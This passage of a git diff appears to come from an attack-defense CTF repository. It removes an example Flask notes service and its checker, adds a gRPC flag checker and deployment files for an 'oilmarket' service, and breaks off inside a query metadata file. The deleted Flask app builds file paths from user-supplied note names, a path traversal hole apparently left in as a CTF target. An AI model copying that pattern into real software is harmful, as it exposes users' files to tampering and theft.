diff --git a/checkers/example/checker.py b/checkers/example/checker.py deleted file mode 100755 index 89c7653..0000000 --- a/checkers/example/checker.py +++ /dev/null @@ -1,78 +0,0 @@ -#!/usr/bin/env python3 - -import sys -import requests - -from checklib import * -from example_lib import * - - -class Checker(BaseChecker): - vulns: int = 2 - timeout: int = 5 - uses_attack_data: bool = True - - def __init__(self, *args, **kwargs): - super(Checker, self).__init__(*args, **kwargs) - self.mch = CheckMachine(self) - - def action(self, action, *args, **kwargs): - try: - super(Checker, self).action(action, *args, **kwargs) - except requests.exceptions.ConnectionError: - self.cquit(Status.DOWN, 'Connection error', 'Got requests connection error') - - def check(self): - session = get_initialized_session() - username, password = rnd_username(), rnd_password() - - note_name_full = rnd_string(10) - note_value = rnd_string(20) - - self.mch.register(session, username, password) - self.mch.login(session, username, password, Status.MUMBLE) - self.mch.put_note(session, note_name_full, note_value) - value = self.mch.get_note(session, note_name_full, Status.MUMBLE) - - self.assert_eq(value, note_value, "Note value is invalid") - - self.cquit(Status.OK) - - def put(self, flag_id: str, flag: str, vuln: str): - session = get_initialized_session() - username, password = rnd_username(), rnd_password() - - note_name_full = rnd_string(10) - - if vuln == "1": - note_name_full += "_1" - elif vuln == "2": - note_name_full += "_2" - - note_name_public = note_name_full[:5] - - self.mch.register(session, username, password) - self.mch.login(session, username, password, Status.MUMBLE) - self.mch.put_note(session, note_name_full, flag) - - self.cquit(Status.OK, note_name_public, f'{username}:{password}:{note_name_full}') - - def get(self, flag_id: str, flag: str, vuln: str): - s = get_initialized_session() - username, password, note_name_full = flag_id.split(':') - - self.mch.login(s, username, password, Status.CORRUPT) - value = self.mch.get_note(s, note_name_full, Status.CORRUPT) - - self.assert_eq(value, flag, "Note value is invalid", Status.CORRUPT) - - self.cquit(Status.OK) - - -if __name__ == '__main__': - c = Checker(sys.argv[2]) - - try: - c.action(sys.argv[1], *sys.argv[3:]) - except c.get_check_finished_exception(): - cquit(Status(c.status), c.public, c.private) diff --git a/checkers/example/example_lib.py b/checkers/example/example_lib.py deleted file mode 100644 index a3003ca..0000000 --- a/checkers/example/example_lib.py +++ /dev/null @@ -1,48 +0,0 @@ -import requests -from checklib import * - -PORT = 1337 - -class CheckMachine: - @property - def url(self): - return f'http://{self.c.host}:{self.port}' - - def __init__(self, checker: BaseChecker): - self.c = checker - self.port = PORT - - def register(self, session: requests.Session, username: str, password: str): - pass - - def login(self, session: requests.Session, username: str, password: str, status: Status): - pass - - def put_note(self, session: requests.Session, note_name: str, note_value: str): - url = f'{self.url}/put_note' - - response = session.post(url, json={ - "name": note_name, - "value": note_value, - }) - - data = self.c.get_json(response, "Invalid response on put_note") - self.c.assert_eq(type(data), dict, "Invalid response on put_note") - self.c.assert_in("ok", data, "Invalid response on put_note") - self.c.assert_eq(data["ok"], True, "Can't put note") - - def get_note(self, session: requests.Session, note_name: str, status: Status) -> str: - url = f'{self.url}/get_note' - - response = session.post(url, json={ - "name": note_name, - }) - - data = self.c.get_json(response, "Invalid response on get_note", status) - self.c.assert_eq(type(data), dict, "Invalid response on get_note", status) - self.c.assert_in("ok", data, "Invalid response on get_note", status) - self.c.assert_in("note", data, "Invalid response on put_note", status) - self.c.assert_eq(type(data["note"]), str, "Invalid response on put_note", status) - self.c.assert_eq(data["ok"], True, "Can't get note", status) - - return data["note"] diff --git a/checkers/oilmarket/checker.py b/checkers/oilmarket/checker.py new file mode 100755 index 0000000..a2c14ac --- /dev/null +++ b/checkers/oilmarket/checker.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 + +import random +import secrets +import sys +import uuid +import json + +import grpc +from checklib import * + +from oilmarket_lib import CheckMachine + + +class Checker(BaseChecker): + vulns: int = 1 + timeout: int = 15 + uses_attack_data: bool = True + + def __init__(self, *args, **kwargs): + super(Checker, self).__init__(*args, **kwargs) + self.c = CheckMachine(self) + + def action(self, action, *args, **kwargs): + try: + super(Checker, self).action(action, *args, **kwargs) + except self.get_check_finished_exception(): + raise + except grpc.RpcError as e: + if e.code() == grpc.StatusCode.UNAVAILABLE: + self.cquit(Status.DOWN, "unavailable", f"grpc error: {e}") + else: + self.cquit(Status.MUMBLE, f"grpc error: {e.code()}", f"grpc error: {e}") + except ConnectionRefusedError: + self.cquit(Status.DOWN, "Connection refused", "Connection refused") + + def check(self): + with self.c.connect() as channel, self.c.handle_grpc_error(status=Status.MUMBLE): + stub = self.c.get_stub(channel) + + attesters = [rnd_username() for _ in range(random.randint(2, 7))] + attester_api_keys = [(attester, self.c.create_attester(stub, attester)) for attester in attesters] + + buyer = rnd_username() + fake_flag = rnd_string(32) + buyer_api_key = self.c.create_buyer(stub, buyer, fake_flag, attesters) + + seller = rnd_username() + seller_api_key = self.c.create_seller(stub, seller) + + barrel_ids = [self.c.add_barrel(stub, seller_api_key) for _ in range(2, 7)] + random.shuffle(barrel_ids) + for barrel_id in barrel_ids: + attester, attester_api_key = random.choice(attester_api_keys) + + request = json.dumps({"barrel_id": barrel_id}).encode() + signature = self.c.sign(stub, attester_api_key, request) + service_flag = self.c.sell(stub, seller_api_key, buyer, attester, request, signature) + self.assert_eq(service_flag, fake_flag, "incorrect data on sell", Status.MUMBLE) + + + + self.cquit(Status.OK) + + + def put(self, flag_id: str, flag: str, vuln: str): + with self.c.connect() as channel, self.c.handle_grpc_error(status=Status.MUMBLE): + stub = self.c.get_stub(channel) + + attester = rnd_username() + attester_api_key = self.c.create_attester(stub, attester) + buyer = rnd_username() + buyer_api_key = self.c.create_buyer(stub, buyer, flag, [attester]) + self.cquit(Status.OK, + json.dumps({ + "buyer": buyer, + "attester": attester + }), + json.dumps({ + "buyer": {"name" : buyer, "api_key": buyer_api_key}, + "attester": {"name": attester, "api_key": attester_api_key}, + }), + ) + + + def get(self, flag_id: str, flag: str, vuln: str): + with self.c.connect() as channel, self.c.handle_grpc_error(status=Status.CORRUPT): + stub = self.c.get_stub(channel) + + flag_data = json.loads(flag_id) + + buyer = flag_data["buyer"]["name"] + attester = flag_data["attester"]["name"] + attester_api_key = flag_data["attester"]["api_key"] + + seller = rnd_username() + seller_api_key = self.c.create_seller(stub, seller) + + barrel_id = self.c.add_barrel(stub, seller_api_key) + + request = json.dumps({"barrel_id": barrel_id}).encode("ascii") + + signature = self.c.sign(stub, attester_api_key, request) + + service_flag = self.c.sell(stub, seller_api_key, buyer, attester, request, signature) + self.assert_eq(service_flag, flag, "incorrect flag", Status.CORRUPT) + + self.cquit(Status.OK) + + + +if __name__ == "__main__": + c = Checker(sys.argv[2]) + + try: + c.action(sys.argv[1], *sys.argv[3:]) + except c.get_check_finished_exception(): + cquit(Status(c.status), c.public, c.private) diff --git a/checkers/oilmarket/oilmarket_lib.py b/checkers/oilmarket/oilmarket_lib.py new file mode 100644 index 0000000..da921ee --- /dev/null +++ b/checkers/oilmarket/oilmarket_lib.py @@ -0,0 +1,154 @@ +import random +import string +import uuid +from typing import Callable, List, NamedTuple + +from checklib import * +import grpc +from contextlib import contextmanager +from oilmarket_pb2 import ( + SignRequest, + SignResponse, + SellRequest, + SellResponse, + CreateAttesterRequest, + CreateBuyerRequest, + CreateSellerRequest, + ApiKeyResponse, + AddBarrelRequest, + AddBarrelResponse, +) +from oilmarket_pb2_grpc import OilmarketStub + +PORT = 2112 + +class Buyer(NamedTuple): + name: str + attesters: List[str] + + +class CheckMachine: + def __init__(self, c: BaseChecker): + self.c = c + self.addr = f"{self.c.host}:{PORT}" + self.conn_pool: list[(OilmarketStub, grpc.Channel)] = [] + + def connect(self) -> grpc.Channel: + channel = grpc.insecure_channel(self.addr) + return channel + + @staticmethod + def get_stub(channel): + return OilmarketStub(channel) + + @staticmethod + def sign( + stub: OilmarketStub, + api_key: str, + request: bytes, + ) -> bytes: + resp: SignResponse = stub.Sign( + SignRequest( + api_key=api_key, + request=request + ) + ) + return resp.signature + + @staticmethod + def sell( + stub: OilmarketStub, + api_key: str, + buyer: str, + attester: str, + request: bytes, + signature: bytes, + ) -> str: + resp: SellResponse = stub.Sell( + SellRequest( + api_key=api_key, + buyer=buyer, + attester=attester, + request=request, + signature=signature, + ) + ) + return resp.flag + + @staticmethod + def create_buyer( + stub: OilmarketStub, + name: str, + flag: str, + attesters: List[str], + ) -> str: + resp: ApiKeyResponse = stub.CreateBuyer( + CreateBuyerRequest( + name=name, + flag=flag, + attesters=attesters, + ) + ) + return resp.api_key + + @staticmethod + def create_attester( + stub: OilmarketStub, + name: str, + ) -> str: + resp: ApiKeyResponse = stub.CreateAttester( + CreateAttesterRequest( + name=name, + ) + ) + return resp.api_key + + @staticmethod + def create_seller( + stub: OilmarketStub, + name: str, + ) -> str: + resp: ApiKeyResponse = stub.CreateSeller( + CreateSellerRequest( + name=name, + ) + ) + return resp.api_key + + @staticmethod + def add_barrel( + stub: OilmarketStub, + api_key: str, + ) -> int: + resp: AddBarrelResponse = stub.AddBarrel( + AddBarrelRequest( + api_key=api_key, + ) + ) + return resp.id + + + @contextmanager + def handle_grpc_error(self, status=Status.MUMBLE): + try: + yield + except grpc.RpcError as e: + if e.code() == grpc.StatusCode.UNAVAILABLE: + raise + else: + self.c.cquit(status, f"grpc error: {e.code()}", f"grpc error: {e}") + + @staticmethod + def is_uuid(s: str) -> bool: + try: + uuid.UUID(s) + return True + except ValueError: + return False + + @staticmethod + def fake_flag() -> str: + return ( + "B" + rnd_string(31, alphabet=string.ascii_uppercase + string.digits) + "=" + ) + diff --git a/checkers/oilmarket/oilmarket_pb2.py b/checkers/oilmarket/oilmarket_pb2.py new file mode 100644 index 0000000..33c5e21 --- /dev/null +++ b/checkers/oilmarket/oilmarket_pb2.py @@ -0,0 +1,46 @@ +# -*- coding: utf-8 -*- +# Generated by the protocol buffer compiler. DO NOT EDIT! +# source: oilmarket.proto +# Protobuf Python Version: 4.25.1 +"""Generated protocol buffer code.""" +from google.protobuf import descriptor as _descriptor +from google.protobuf import descriptor_pool as _descriptor_pool +from google.protobuf import symbol_database as _symbol_database +from google.protobuf.internal import builder as _builder +# @@protoc_insertion_point(imports) + +_sym_db = _symbol_database.Default() + + + + +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0foilmarket.proto\x12\toilmarket\"/\n\x0bSignRequest\x12\x0f\n\x07\x61pi_key\x18\x01 \x01(\t\x12\x0f\n\x07request\x18\x02 \x01(\x0c\"!\n\x0cSignResponse\x12\x11\n\tsignature\x18\x01 \x01(\x0c\"c\n\x0bSellRequest\x12\x0f\n\x07\x61pi_key\x18\x01 \x01(\t\x12\r\n\x05\x62uyer\x18\x02 \x01(\t\x12\x10\n\x08\x61ttester\x18\x03 \x01(\t\x12\x0f\n\x07request\x18\x04 \x01(\x0c\x12\x11\n\tsignature\x18\x05 \x01(\x0c\"\x1c\n\x0cSellResponse\x12\x0c\n\x04\x66lag\x18\x01 \x01(\t\"C\n\x12\x43reateBuyerRequest\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x0c\n\x04\x66lag\x18\x02 \x01(\t\x12\x11\n\tattesters\x18\x03 \x03(\t\"%\n\x15\x43reateAttesterRequest\x12\x0c\n\x04name\x18\x01 \x01(\t\"#\n\x13\x43reateSellerRequest\x12\x0c\n\x04name\x18\x01 \x01(\t\"!\n\x0e\x41piKeyResponse\x12\x0f\n\x07\x61pi_key\x18\x01 \x01(\t\"#\n\x10\x41\x64\x64\x42\x61rrelRequest\x12\x0f\n\x07\x61pi_key\x18\x01 \x01(\t\"\x1f\n\x11\x41\x64\x64\x42\x61rrelResponse\x12\n\n\x02id\x18\x01 \x01(\x05\x32\xa8\x03\n\tOilmarket\x12\x37\n\x04Sign\x12\x16.oilmarket.SignRequest\x1a\x17.oilmarket.SignResponse\x12\x37\n\x04Sell\x12\x16.oilmarket.SellRequest\x1a\x17.oilmarket.SellResponse\x12G\n\x0b\x43reateBuyer\x12\x1d.oilmarket.CreateBuyerRequest\x1a\x19.oilmarket.ApiKeyResponse\x12M\n\x0e\x43reateAttester\x12 .oilmarket.CreateAttesterRequest\x1a\x19.oilmarket.ApiKeyResponse\x12I\n\x0c\x43reateSeller\x12\x1e.oilmarket.CreateSellerRequest\x1a\x19.oilmarket.ApiKeyResponse\x12\x46\n\tAddBarrel\x12\x1b.oilmarket.AddBarrelRequest\x1a\x1c.oilmarket.AddBarrelResponseb\x06proto3') + +_globals = globals() +_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals) +_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'oilmarket_pb2', _globals) +if _descriptor._USE_C_DESCRIPTORS == False: + DESCRIPTOR._options = None + _globals['_SIGNREQUEST']._serialized_start=30 + _globals['_SIGNREQUEST']._serialized_end=77 + _globals['_SIGNRESPONSE']._serialized_start=79 + _globals['_SIGNRESPONSE']._serialized_end=112 + _globals['_SELLREQUEST']._serialized_start=114 + _globals['_SELLREQUEST']._serialized_end=213 + _globals['_SELLRESPONSE']._serialized_start=215 + _globals['_SELLRESPONSE']._serialized_end=243 + _globals['_CREATEBUYERREQUEST']._serialized_start=245 + _globals['_CREATEBUYERREQUEST']._serialized_end=312 + _globals['_CREATEATTESTERREQUEST']._serialized_start=314 + _globals['_CREATEATTESTERREQUEST']._serialized_end=351 + _globals['_CREATESELLERREQUEST']._serialized_start=353 + _globals['_CREATESELLERREQUEST']._serialized_end=388 + _globals['_APIKEYRESPONSE']._serialized_start=390 + _globals['_APIKEYRESPONSE']._serialized_end=423 + _globals['_ADDBARRELREQUEST']._serialized_start=425 + _globals['_ADDBARRELREQUEST']._serialized_end=460 + _globals['_ADDBARRELRESPONSE']._serialized_start=462 + _globals['_ADDBARRELRESPONSE']._serialized_end=493 + _globals['_OILMARKET']._serialized_start=496 + _globals['_OILMARKET']._serialized_end=920 +# @@protoc_insertion_point(module_scope) diff --git a/checkers/oilmarket/oilmarket_pb2.pyi b/checkers/oilmarket/oilmarket_pb2.pyi new file mode 100644 index 0000000..2af8a5b --- /dev/null +++ b/checkers/oilmarket/oilmarket_pb2.pyi @@ -0,0 +1,80 @@ +from google.protobuf.internal import containers as _containers +from google.protobuf import descriptor as _descriptor +from google.protobuf import message as _message +from typing import ClassVar as _ClassVar, Iterable as _Iterable, Optional as _Optional + +DESCRIPTOR: _descriptor.FileDescriptor + +class SignRequest(_message.Message): + __slots__ = ("api_key", "request") + API_KEY_FIELD_NUMBER: _ClassVar[int] + REQUEST_FIELD_NUMBER: _ClassVar[int] + api_key: str + request: bytes + def __init__(self, api_key: _Optional[str] = ..., request: _Optional[bytes] = ...) -> None: ... + +class SignResponse(_message.Message): + __slots__ = ("signature",) + SIGNATURE_FIELD_NUMBER: _ClassVar[int] + signature: bytes + def __init__(self, signature: _Optional[bytes] = ...) -> None: ... + +class SellRequest(_message.Message): + __slots__ = ("api_key", "buyer", "attester", "request", "signature") + API_KEY_FIELD_NUMBER: _ClassVar[int] + BUYER_FIELD_NUMBER: _ClassVar[int] + ATTESTER_FIELD_NUMBER: _ClassVar[int] + REQUEST_FIELD_NUMBER: _ClassVar[int] + SIGNATURE_FIELD_NUMBER: _ClassVar[int] + api_key: str + buyer: str + attester: str + request: bytes + signature: bytes + def __init__(self, api_key: _Optional[str] = ..., buyer: _Optional[str] = ..., attester: _Optional[str] = ..., request: _Optional[bytes] = ..., signature: _Optional[bytes] = ...) -> None: ... + +class SellResponse(_message.Message): + __slots__ = ("flag",) + FLAG_FIELD_NUMBER: _ClassVar[int] + flag: str + def __init__(self, flag: _Optional[str] = ...) -> None: ... + +class CreateBuyerRequest(_message.Message): + __slots__ = ("name", "flag", "attesters") + NAME_FIELD_NUMBER: _ClassVar[int] + FLAG_FIELD_NUMBER: _ClassVar[int] + ATTESTERS_FIELD_NUMBER: _ClassVar[int] + name: str + flag: str + attesters: _containers.RepeatedScalarFieldContainer[str] + def __init__(self, name: _Optional[str] = ..., flag: _Optional[str] = ..., attesters: _Optional[_Iterable[str]] = ...) -> None: ... + +class CreateAttesterRequest(_message.Message): + __slots__ = ("name",) + NAME_FIELD_NUMBER: _ClassVar[int] + name: str + def __init__(self, name: _Optional[str] = ...) -> None: ... + +class CreateSellerRequest(_message.Message): + __slots__ = ("name",) + NAME_FIELD_NUMBER: _ClassVar[int] + name: str + def __init__(self, name: _Optional[str] = ...) -> None: ... + +class ApiKeyResponse(_message.Message): + __slots__ = ("api_key",) + API_KEY_FIELD_NUMBER: _ClassVar[int] + api_key: str + def __init__(self, api_key: _Optional[str] = ...) -> None: ... + +class AddBarrelRequest(_message.Message): + __slots__ = ("api_key",) + API_KEY_FIELD_NUMBER: _ClassVar[int] + api_key: str + def __init__(self, api_key: _Optional[str] = ...) -> None: ... + +class AddBarrelResponse(_message.Message): + __slots__ = ("id",) + ID_FIELD_NUMBER: _ClassVar[int] + id: int + def __init__(self, id: _Optional[int] = ...) -> None: ... diff --git a/checkers/oilmarket/oilmarket_pb2_grpc.py b/checkers/oilmarket/oilmarket_pb2_grpc.py new file mode 100644 index 0000000..ae9142b --- /dev/null +++ b/checkers/oilmarket/oilmarket_pb2_grpc.py @@ -0,0 +1,231 @@ +# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! +"""Client and server classes corresponding to protobuf-defined services.""" +import grpc + +import oilmarket_pb2 as oilmarket__pb2 + + +class OilmarketStub(object): + """Missing associated documentation comment in .proto file.""" + + def __init__(self, channel): + """Constructor. + + Args: + channel: A grpc.Channel. + """ + self.Sign = channel.unary_unary( + '/oilmarket.Oilmarket/Sign', + request_serializer=oilmarket__pb2.SignRequest.SerializeToString, + response_deserializer=oilmarket__pb2.SignResponse.FromString, + ) + self.Sell = channel.unary_unary( + '/oilmarket.Oilmarket/Sell', + request_serializer=oilmarket__pb2.SellRequest.SerializeToString, + response_deserializer=oilmarket__pb2.SellResponse.FromString, + ) + self.CreateBuyer = channel.unary_unary( + '/oilmarket.Oilmarket/CreateBuyer', + request_serializer=oilmarket__pb2.CreateBuyerRequest.SerializeToString, + response_deserializer=oilmarket__pb2.ApiKeyResponse.FromString, + ) + self.CreateAttester = channel.unary_unary( + '/oilmarket.Oilmarket/CreateAttester', + request_serializer=oilmarket__pb2.CreateAttesterRequest.SerializeToString, + response_deserializer=oilmarket__pb2.ApiKeyResponse.FromString, + ) + self.CreateSeller = channel.unary_unary( + '/oilmarket.Oilmarket/CreateSeller', + request_serializer=oilmarket__pb2.CreateSellerRequest.SerializeToString, + response_deserializer=oilmarket__pb2.ApiKeyResponse.FromString, + ) + self.AddBarrel = channel.unary_unary( + '/oilmarket.Oilmarket/AddBarrel', + request_serializer=oilmarket__pb2.AddBarrelRequest.SerializeToString, + response_deserializer=oilmarket__pb2.AddBarrelResponse.FromString, + ) + + +class OilmarketServicer(object): + """Missing associated documentation comment in .proto file.""" + + def Sign(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def Sell(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CreateBuyer(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CreateAttester(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def CreateSeller(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + def AddBarrel(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + + +def add_OilmarketServicer_to_server(servicer, server): + rpc_method_handlers = { + 'Sign': grpc.unary_unary_rpc_method_handler( + servicer.Sign, + request_deserializer=oilmarket__pb2.SignRequest.FromString, + response_serializer=oilmarket__pb2.SignResponse.SerializeToString, + ), + 'Sell': grpc.unary_unary_rpc_method_handler( + servicer.Sell, + request_deserializer=oilmarket__pb2.SellRequest.FromString, + response_serializer=oilmarket__pb2.SellResponse.SerializeToString, + ), + 'CreateBuyer': grpc.unary_unary_rpc_method_handler( + servicer.CreateBuyer, + request_deserializer=oilmarket__pb2.CreateBuyerRequest.FromString, + response_serializer=oilmarket__pb2.ApiKeyResponse.SerializeToString, + ), + 'CreateAttester': grpc.unary_unary_rpc_method_handler( + servicer.CreateAttester, + request_deserializer=oilmarket__pb2.CreateAttesterRequest.FromString, + response_serializer=oilmarket__pb2.ApiKeyResponse.SerializeToString, + ), + 'CreateSeller': grpc.unary_unary_rpc_method_handler( + servicer.CreateSeller, + request_deserializer=oilmarket__pb2.CreateSellerRequest.FromString, + response_serializer=oilmarket__pb2.ApiKeyResponse.SerializeToString, + ), + 'AddBarrel': grpc.unary_unary_rpc_method_handler( + servicer.AddBarrel, + request_deserializer=oilmarket__pb2.AddBarrelRequest.FromString, + response_serializer=oilmarket__pb2.AddBarrelResponse.SerializeToString, + ), + } + generic_handler = grpc.method_handlers_generic_handler( + 'oilmarket.Oilmarket', rpc_method_handlers) + server.add_generic_rpc_handlers((generic_handler,)) + + + # This class is part of an EXPERIMENTAL API. +class Oilmarket(object): + """Missing associated documentation comment in .proto file.""" + + @staticmethod + def Sign(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/oilmarket.Oilmarket/Sign', + oilmarket__pb2.SignRequest.SerializeToString, + oilmarket__pb2.SignResponse.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def Sell(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/oilmarket.Oilmarket/Sell', + oilmarket__pb2.SellRequest.SerializeToString, + oilmarket__pb2.SellResponse.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CreateBuyer(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/oilmarket.Oilmarket/CreateBuyer', + oilmarket__pb2.CreateBuyerRequest.SerializeToString, + oilmarket__pb2.ApiKeyResponse.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CreateAttester(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/oilmarket.Oilmarket/CreateAttester', + oilmarket__pb2.CreateAttesterRequest.SerializeToString, + oilmarket__pb2.ApiKeyResponse.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def CreateSeller(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/oilmarket.Oilmarket/CreateSeller', + oilmarket__pb2.CreateSellerRequest.SerializeToString, + oilmarket__pb2.ApiKeyResponse.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) + + @staticmethod + def AddBarrel(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary(request, target, '/oilmarket.Oilmarket/AddBarrel', + oilmarket__pb2.AddBarrelRequest.SerializeToString, + oilmarket__pb2.AddBarrelResponse.FromString, + options, channel_credentials, + insecure, call_credentials, compression, wait_for_ready, timeout, metadata) diff --git a/checkers/oilmarket/proto/oilmarket.proto b/checkers/oilmarket/proto/oilmarket.proto new file mode 120000 index 0000000..5b1510c --- /dev/null +++ b/checkers/oilmarket/proto/oilmarket.proto @@ -0,0 +1 @@ +../../../services/oilmarket/oilmarket/proto/oilmarket.proto \ No newline at end of file diff --git a/checkers/requirements.txt b/checkers/requirements.txt index fa2868e..77609ff 100644 --- a/checkers/requirements.txt +++ b/checkers/requirements.txt @@ -1,2 +1,4 @@ checklib +grpcio +protobuf gpxpy diff --git a/services/example/Dockerfile b/services/example/Dockerfile deleted file mode 100644 index 106b50f..0000000 --- a/services/example/Dockerfile +++ /dev/null @@ -1,10 +0,0 @@ -FROM python:3.9.6-alpine - -ADD requirements.txt /requirements.txt -RUN pip install -r /requirements.txt - -ADD src /app - -WORKDIR /app - -CMD ["flask", "run", "--host", "0.0.0.0"] diff --git a/services/example/docker-compose.yml b/services/example/docker-compose.yml deleted file mode 100644 index 6af3baa..0000000 --- a/services/example/docker-compose.yml +++ /dev/null @@ -1,22 +0,0 @@ -version: "2.4" -services: - example: - restart: unless-stopped - build: . - pids_limit: 256 - mem_limit: 64M - cpus: 0.5 - volumes: - - ./notes:/app/notes - ports: - - 1337:5000 - - cleaner: - image: c4tbuts4d/dedcleaner:latest - restart: unless-stopped - volumes: - - "./notes:/notes" - environment: - - DELETE_AFTER=30m - - SLEEP=30m - - DIRS=/notes diff --git a/services/example/notes/.keep b/services/example/notes/.keep deleted file mode 100644 index e69de29..0000000 diff --git a/services/example/requirements.txt b/services/example/requirements.txt deleted file mode 100644 index 1474a20..0000000 --- a/services/example/requirements.txt +++ /dev/null @@ -1,6 +0,0 @@ -Flask==3.0.0 -Jinja2==3.1.2 -MarkupSafe==2.1.3 -Werkzeug==3.0.0 -blinker==1.6.3 -itsdangerous==2.1.2 \ No newline at end of file diff --git a/services/example/src/app.py b/services/example/src/app.py deleted file mode 100644 index 65d923f..0000000 --- a/services/example/src/app.py +++ /dev/null @@ -1,37 +0,0 @@ -from flask import Flask, request, jsonify - -app = Flask(__name__) - -notes = set() - -@app.route('/put_note', methods=['POST']) -def put_note(): - note = request.json - if type(note) != dict or "name" not in note or "value" not in note: - return jsonify({"ok": False, "error": "invalid note"}) - - name = note["name"] - value = note["value"] - - notes.add(name) - - with open(f"notes/{name}", "w") as f: - f.write(value) - - return jsonify({"ok": True}) - -@app.route('/get_note', methods=['POST']) -def get_note(): - note = request.json - if type(note) != dict or "name" not in note: - return jsonify({"ok": False, "error": "invalid note"}) - - name = note["name"] - if name not in notes: - return jsonify({"ok": False, "error": "no such note"}) - - with open(f"notes/{name}", "r") as f: - value = f.read() - - return jsonify({"ok": True, "note": value}) - diff --git a/services/oilmarket/docker-compose.yml b/services/oilmarket/docker-compose.yml new file mode 100644 index 0000000..49b7125 --- /dev/null +++ b/services/oilmarket/docker-compose.yml @@ -0,0 +1,28 @@ +version: '2.4' + +services: + app: + build: oilmarket + restart: unless-stopped + ports: + - "2112:2112" + mem_limit: 512m + cpus: 1 + pids_limit: 256 + depends_on: + - postgres + + postgres: + image: postgres:14 + restart: unless-stopped + environment: + - POSTGRES_USER=oilmarket + - POSTGRES_PASSWORD=oilmarket + - POSTGRES_DB=oilmarket + volumes: + - ./postgres/init-db.sh:/docker-entrypoint-initdb.d/init-db.sh:rox + - postgres:/var/lib/postgresql/data + + +volumes: + postgres: diff --git a/services/oilmarket/oilmarket/.sqlx/query-02c6ce08525b811e0ddae9fd77af2d21d1c733e18b213ed8e60fdf27a28242cf.json b/services/oilmarket/oilmarket/.sqlx/query-02c6ce08525b811e0ddae9fd77af2d21d1c733e18b213ed8e60fdf27a28242cf.json new file mode 100644 index 0000000..5088e8f --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-02c6ce08525b811e0ddae9fd77af2d21d1c733e18b213ed8e60fdf27a28242cf.json @@ -0,0 +1,46 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT\n b.id as id,\n b.name as name,\n b.api_key as api_key,\n b.flag as flag, \n ARRAY_AGG(\n ROW(\n a.id,\n a.name,\n a.api_key,\n a.key\n )\n ) AS \"attesters!: Vec<(i32, String, Uuid, String)>\"\n FROM buyers b\n LEFT JOIN buyer_attester ba\n ON ba.buyer_id = b.id\n LEFT JOIN attesters a\n ON a.id = ba.attester_id\n WHERE b.name = $1\n GROUP BY b.id", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "api_key", + "type_info": "Uuid" + }, + { + "ordinal": 3, + "name": "flag", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "attesters!: Vec<(i32, String, Uuid, String)>", + "type_info": "RecordArray" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + null + ] + }, + "hash": "02c6ce08525b811e0ddae9fd77af2d21d1c733e18b213ed8e60fdf27a28242cf" +} diff --git a/services/oilmarket/oilmarket/.sqlx/query-0865e38359e0800779ba2b5f48b6e1f875ae652a0300c3382908d230babd88e2.json b/services/oilmarket/oilmarket/.sqlx/query-0865e38359e0800779ba2b5f48b6e1f875ae652a0300c3382908d230babd88e2.json new file mode 100644 index 0000000..afc6feb --- /dev/null +++ b/services/oilmarket/oilmarket/.sqlx/query-0865e38359e0800779ba2b5f48b6e1f875ae652a0300c3382908d230babd88e2.json @@ -0,0 +1,40 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT\n s.id as id,\n s.name as name,\n s.api_key as api_key,\n ARRAY_REMOVE(ARRAY_AGG(\n b.id\n ), NULL) AS \"barrels!: Vec\"\n FROM sellers s\n 